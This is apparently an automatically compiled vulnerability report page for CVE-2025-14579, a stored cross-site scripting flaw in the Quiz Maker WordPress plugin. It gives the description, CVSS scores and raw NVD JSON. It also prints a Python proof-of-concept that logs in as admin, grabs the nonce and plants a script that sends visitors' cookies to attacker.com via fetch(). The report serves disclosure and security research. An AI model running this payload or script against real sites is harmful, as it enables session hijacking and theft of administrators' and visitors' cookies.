Security Vulnerability Report
中文
CVE-2025-14579 CVSS 4.8 MEDIUM

CVE-2025-14579

Published: 2026-01-12 06:16:10
Last Modified: 2026-04-15 00:35:42

Description

The Quiz Maker WordPress plugin before 6.7.0.89 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Quiz Maker WordPress插件 < 6.7.0.89

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-14579 PoC - WordPress Quiz Maker Stored XSS # Target: WordPress site with vulnerable Quiz Maker plugin < 6.7.0.89 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" def get_nonce(session, url): """Extract WordPress nonce from page""" response = session.get(url) match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) return match.group(1) if match else None def exploit_stored_xss(): """Exploit stored XSS in Quiz Maker settings""" session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/admin.php?page=quiz-maker" } session.post(login_url, data=login_data) # Step 2: Get nonce for Quiz Maker settings settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=quiz-maker" nonce = get_nonce(session, settings_url) # Step 3: Inject malicious JavaScript payload in settings # XSS payload: <script>alert(document.cookie)</script> xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' settings_data = { '_wpnonce': nonce, 'quiz_maker_settings[quiz_title]': f'Test Quiz {xss_payload}', 'quiz_maker_settings[submit]': 'Save Changes' } response = session.post(settings_url, data=settings_data) # Step 4: Verify XSS is stored and triggered when page is accessed verify_url = f"{TARGET_URL}/wp-admin/admin.php?page=quiz-maker" response = session.get(verify_url) if xss_payload in response.text: print("[+] XSS payload successfully stored!") print("[+] Payload will execute when settings page is viewed") return True else: print("[-] XSS payload not found in response") return False if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14579", "sourceIdentifier": "[email protected]", "published": "2026-01-12T06:16:10.193", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quiz Maker WordPress plugin before 6.7.0.89 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)."}, {"lang": "es", "value": "El plugin de WordPress Quiz Maker anterior a la versión 6.7.0.89 no sanea ni escapa algunas de sus configuraciones, lo que podría permitir a usuarios con altos privilegios, como el administrador, realizar ataques de cross-site scripting almacenado incluso cuando la capacidad unfiltered_html está deshabilitada (por ejemplo, en una configuración multisitio)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/1ff8ea2b-6513-4d5c-b7ea-9ab39c9ea9c6/", "source": "[email protected]"}, {"url": "https://wpscan.com/vulnerability/1ff8ea2b-6513-4d5c-b7ea-9ab39c9ea9c6/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}